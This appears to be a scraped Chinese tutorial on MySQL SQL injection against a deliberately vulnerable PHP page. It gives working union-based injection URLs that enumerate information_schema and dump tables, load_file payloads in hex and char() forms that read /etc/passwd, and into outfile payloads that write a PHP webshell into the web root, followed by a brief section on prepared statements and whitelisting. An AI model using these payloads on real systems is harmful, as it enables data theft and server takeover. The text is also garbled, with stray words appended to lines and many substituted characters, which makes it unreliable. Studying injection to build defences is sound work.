一、简介
1.一、SQL注入的本质php
web程序代码中对于用户提交的参数未作过滤就直接放到SQL语句中执行,致使参数中的特殊字符打破了SQL语句原有逻辑,黑客能够利用该漏洞执行任意SQL语句.html
1.二、什么是SQL注入
1.是一种将SQL语句插入或添加到应用(用户)的输入参数中的攻击mysql
2.这些参数传递给后台的SQL数据库服务器加以解析并执行.linux
1.三、注入原理
SQL注入的本质是恶意攻击者将SQL代码插入或添加到程序的参数中,而程序并无对传入的参数进行正确处理,致使参数中的数据会被当作代码来执行,并最终将执行结果返回给攻击者web
1.三、危害
■ 一、数据库信息泄露:数据库中存放的用户的隐私信息的泄露
■ 二、网页串改:经过数据库对特定的网页进行篡改(网页内容存储在数据库,经过修改内
容达到网页篡改)
■ 三、网站挂马,传播恶意软件:经过修改数据库一些字段的值,嵌入网马连接,进行网马
攻击
■ 四、数据库被恶意操做:数据库被攻击,数据库的系统管理员帐户被篡改
■ 五、获取webshell:利用数据库存在的权限分配缺陷获取webshell甚至是系统权限正则表达式
二、注入知识与例子解析
2.一、注入的经常使用知识
经常使用函数:sql
1 system_user() #系统用户名 2 user() #返回MYSQL用户名 3 current_user() #当前用户名 4 session_user() #链接数据库的用户名 5 database() #返回当前数据库名 6 version() #返回当前数据库版本信息 7 load_file() #返回文件的内容【攻击时用于读取本例文件,攻击力大大的】 8 into outfile '物理路径' #将结果输出【攻击在利用将恶意脚本注入系统中】
#有用的系统库:
INFORMATION_SCHEMA
mysql大于5.0的版本默认安装后都有INFORMATION_SCHEMA数据 库,INFORMATION_SCHEMA提供了访问数据库元数据的方式,是MYSQL的信息数据库,其中保存着关于MySQL服务器所维护的全部其余数 据库的信息,经过这个数据库能够查看服务器上建立了那些数据库,数据库有哪些表,表中有哪些字段,对注入颇有用途。【利用它能够进行爆表、爆字段、爆内容】
2.二、注入流程注入形式:
一、union select 1,SCHEMATA_NAME,3 from information_schema.SCHEMATA limit 2,1
二、union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLES_TABLE_SCHEMA='database_name' limit 2,1
三、union select 1,COLUMN_NAME,3 from information_schema.COLUMNS where TABLE_NAME='table_name' limit 2,1
注:这仅仅只是写法形式,在没有任何防护措施的状况下可注入。当有转义单引号的过滤,那么上面的语句确定不成功的,必须作出相应的修改方可成功。
注入小技巧:
一、当咱们注入的时候,若是空格被过滤机制处理掉了,那么咱们可使用注释来生成空格。例如:select/**/1,2,3
二、使用union进行查询时,须要对应数据类型【谨记谨记】;例如union前面的第一列是int,后面就不要对应string了
1.判断Web系统使用的脚本语言,发现注入点,并肯定是否存在SQL注入漏洞shell
2.判断Web系统的数据库类型数据库
3.判断数据库中表及相应字段的结构安全
4.构造注入语句,获得表中数据内容
5.查找网站管理员后台,用获得的管理员帐号和密码登陆
6.结合其余漏洞,想办法上传一个Webshell
7.进一步提权,获得服务器的系统权限
(注:以上为通常流程,根据实际状况,状况可能会有所不一样。)
2.三、实例解析
a、构造注入环境
创建两张表
CREATE DATABASE test88;
USE test88;
CREATE TABLE `admin` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(32) DEFAULT NULL, `password` varchar(32) DEFAULT NULL, PRIMARY KEY (`id`) ) ; CREATE TABLE `goods` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(32) DEFAULT NULL, `brand` varchar(32) DEFAULT NULL, PRIMARY KEY (`id`) );
test2.php文件
1 header('content-type:text/html;charset=utf8'); 2 $link=mysql_connect('127.0.0.1','root','321'); 3 mysql_set_charset('utf8'); 4 mysql_select_db('test88'); 5 $id=$_GET['id']; 6 $sql="select*from admin where id=".$id; 7 echo "<pre>"; 8 print_r($sql); #查看SQL语句 9 echo "</pre>"; 10 $result=mysql_query($sql); 11 while($rec=mysql_fetch_assoc($result)) 12 { 13 echo "<pre>"; 14 print_r($rec); #查询结果 15 echo "</pre>"; 16 }
b、查找注入点
【针对的SQL语句:$sql="select*from admin where id=".$id; #(代码中的);无任何过滤,直接注入】
正常访问:www.linuxtest.com/test2.php?id=1
查找注入点:
一、非正常访问www.linuxtest/test2.php?id=1',结果返回非正常页面,说明可能有注入节点存在,继续下面的验证
二、继续非正常访问www.linuxtest/test2.php?id=1 and 1=1,结果返回正常页面
三、继续非正常访问www.linuxtest/test2.php?id=1 and 1=2,结果返回非正常页面,有注入节点,能够直接在id=1后面增长攻击SQL语句
(固然咱们测试的SQL语句的数据是没通过任何处理,最简单最容易被攻击的,因此就so easy【仅仅只是作个示例】)
【其余SQL1语句:$sql="select*from admin where id=$id";】
与上面相同
【其余SQL2语句:$sql="select*from admin where id=‘{$id}’";】
此时存在注入点,可是咱们必须消除单引号才能进行相应的攻击SQL的插入,方法有:
- 增长(and ‘=)进行消除;例如:test2.php?id=1' union select 1,2,3 and '=;结果SQL为:select*from admin where id='1' union select 1,2,3 and '='
- 增长(and “=’)、(union select 1,2,'3)等等。同理
- 使用注释(--)进行消除【注:有一个缺点,就是在复杂的SQ语句中会有很大的出错概率;上面则不存在】;例如:test2.php?id=1' union select 1,2,3 -- 注释;结果SQL为:select*from admin where id='1' union select 1,2,3 -- 注释'
- 。。。。。方法无穷无尽,本身研究
c、判断数据库类型
访问:http://www.linuxtest.com/test2.php?id=1 and ord(mid(version(),1,1))>51
返回正常页面说明这个数据库版本大于4.0,可使用uinon查询。反之就是4.0如下版本或者是其余类型数据库
d、破此表字段数目(为使用union作铺垫)
方法一:猜猜法!(2233)例如:访问www.linuxtest.com/test2.php?id=1 union select 1,2[,3,.....,n];直到不产生错误则n就是此表的列数
方法二:使用order by 排序,并运用二分法,猜猜猜!例如:访问www.linuxtest.com/test2.php?id=1 order by [1|2|3|....|n];按照第[1|2|3|...|n]列排序;只要结果显示正常的就表示此表列数大于等于这个数(咱能够采用二分法进行猜嘛!)
人品大爆炸,一猜就被我猜中了!(223333)
e、查看具体版本号
使用version()、和database()函数查看具体数据库版本号以及此时使用的数据库
访问:www.linuxtest.com/test2.php?id=1 union select 1,version(),database()
结果显示:一、MySQL数据库版本为5.5,大于5.0,存在INFORMATION_SCHEMA数据库;二、此时使用的数据库为test88
f、爆表
【此时咱们假设goods表是后台管理人员的帐号密码表】
爆第一个表名:
访问www.linuxtest.com/test2.php?id=100 union select 1,TABLE_NAME,3 from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='test88' limit 0,1
爆第二个表名:
访问www.linuxtest.com/test2.php?id=100 union select 1,TABLE_NAME,3 from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='test88' limit 1,1
【以此类推知道找到想要的表】
结果显示,咱们找到管理员帐号密码表啦
g、爆字段
同理
访问:www.linuxtest.com/test2.php?id=100 union select 1,column_name,3 from information_schema.columns where table_name='goods' limit 0,1
以此类推,将想要的字段所有找出来。(字段有,name、brand)
h、爆内容
访问:www.linuxtest.com/test2.php?id=100 union select 1,name,brand from goods limit 0,1
【以此类推,获取想要的内容】
2.四、使用load_file()和outfile进行入侵
a、知识铺垫
咱们都知道在MySQL中,函数中的参数若是是字符串那必须采用单引号或者双引号括主、where中的字符串类型匹配也是如此。
可是咱们可使用字符的十六进制(0x**)或者ASCII码(char(**))来表示。【此时再也不须要引号】
例子:
所以,当咱们使用函数进行注入的时候单引号被过滤处理了,那么将会出现错误!
此时咱们可使用字符串的十六进制或者ASCII码的十进制进行注入!
b、Load_file()函数
Load_file 是MySQL读取本地文件所用到的函数,顾名思义,就是加载文件,咱们这里就是将文件内容显示出来。当我能够将系统中的文件随意的读写出来,那么这个攻击给Web应用所形成的损失那将是没法估量的!
首先咱们来判断该mysql是否拥有读写权限;在注入点加上这句SQL进行检测,返回正常页面则表示拥有读写权限!【and (select count(*) from mysql.user)>0】
在确认拥有读写权限后,接着咱们能够进行load_file()注入啦!
能够用这个函数去读取系统的敏感文件,去寻找配置文件,寻找数据 库链接文件,寻找社工文件,寻找WEB物理路径等等
测试:获取linux中/etc/passwd文件内容
方式一(明文字符串):访问www.linuxtest.com/test2.php?id=1 union select 1,load_file('/etc/passwd' ),3
【注:此时须要单引号没有被过滤】
方式二(ASCII码十进进):访问www.linuxtest.com/test2.php?id=1 union select 1,load_file(char(47,101,116,99,47,112,97,115,115,119,100)) ,3
【注:(/etc/passwd)字符串的ASCII码是47,101,116,99,47,112,97,115,115,119,100】
方式三(字符串十六进制):访问www.linuxtest.com/test2.php?id=1 union select 1,2,load_file(0x2f6574632f706173737764)
【注:(/etc/passwd)字符串的十六进制为0x2f6574632f706173737764】
问题解决:
经过load_file 能够列目录,读文件,可是遇到文件格式编码的时候也许会遇到乱码的问题。这个问题能够这么解决, 使用使用MySQL中的 subString 函数, subString(字符串,开始,返回)。
例如:Substring(load_file(A),50,100)就是把A的内容的第50个字母开始回显100个给你。
访问www.linuxtest.com/test2.php?id=1 union select 1,2,Substring(load_file(0x2f6574632f706173737764),50,100)
c、outfile入侵
mysql中outfile的做用就是将查询的结果输出到文件中
例如:select ‘hello word’ into outfile ‘/a.txt’ 这里是讲 ‘hello word’ 输出到 /a.txt(linux系统中)
前提条件:
一、得到物理路径(into outfile '物理路径') 这样才能写对目录
二、可以使用union (也就是说须要MYSQL3以上的版本)
三、对方没有对 ' 进行过滤(由于outfile 后面的 ' ' 不能够用其余函数代替转换)
四、就是MYSQL用户拥有file_priv权限(否则就不能写文件 或者把文件内容读出)
五、对web目录有写权限MS的系统通常都有权限,可是LINUX一般都是rwxr-xr-x 也就是说组跟其余用户都没有权限写操做
对应条件解决:
一、咱们通常能够靠数据库出错信息来爆出来,不行的话,也能够经过load_file()来获得
二、上面的实例解析步骤c有介绍检测方法
三、也很少见对 '''过滤的
四、2.4b中有介绍检查方法(这个得看运行mysql的用户有多大权限了)
五、通常多试试上传目录,图片目录,仍是大部分都有读写权限的
测试:将数据输出到'/use/local/mysql/data'中【由于我给运行mysql的用户权限相对较低,要是测试更明显方便那就采用root运行MySQL吧!】
访问www..linuxtest.com/test2.php?id=1 union select 1,2,3 into outfile '/usr/local/mysql/data/aaa.txt'
将123写入系统/usr/local/mysql/data/aaa.txt中【123能够修改成你想要的攻击代码】
综合下面图片,咱们得知内人注入成功!
但为何会出错呢?
【注】:
问:当网站不给你上传,或者网站过滤上传的内容,那怎么办呢?
答:使用字符串十六进制码或者ASCII码来代替
使用形式:
一、union select 1,load_file( /www/home/html/upload/qingyafengping.jpg【你已经上传的文件】),3,4,5,6 into outfile '/www/home/html/coder.php'/
二、 union select 1,char(【字符串的十六进制码或者ASCII十进制码】),3,4,5,6 into outfile '/www/home/html/coder.php'
三、。。。。等等
三、防护方法
经过前面的讲解咱们得知,要想成功利用SQL注入漏洞,须要同时知足两个条件,一是攻击者能够控制用户的输入,二是注入的代码要被成功执行。下面的内容主要围绕这两个方面来展开。
【从源头进行防护的思想】即须要对从其余地方传递过来的参数在进入数据库以前进行正确的处理。主要有如下几个方面
一、在表单中经过js绑定数据类型、或者过滤一些非法字符
二、链接数据库时,使用预编译语句,绑定变量【PHP中使用mysqli、PDO进行链接使用数据库】
三、在数据进入后台逻辑时,先对传入的参数进行验证,确保符合应用中定义的标准。主要有白名单和黑名单两种方法来实现。从理论上来说,白名单的安全性要比黑名单高,由于它只容许在白名单中定义的数据经过,其余数据都会被过滤掉。黑名单只会过滤定义在黑名单中的数据(好比SQL注入中的一些危险字符),一般使用正则表达式来实现。但须要注意的是,因为黑名单不可能包含全部的危险字符,因此可能会出现黑名单被绕过的状况。例如在mysql注入中,当在黑名单中过滤了空格字符,咱们可使用"/*(mysql中注释符)"和"+"来代替空格,绕过黑名单的限制继续注入,所以咱们应该尽可能多使用白名单。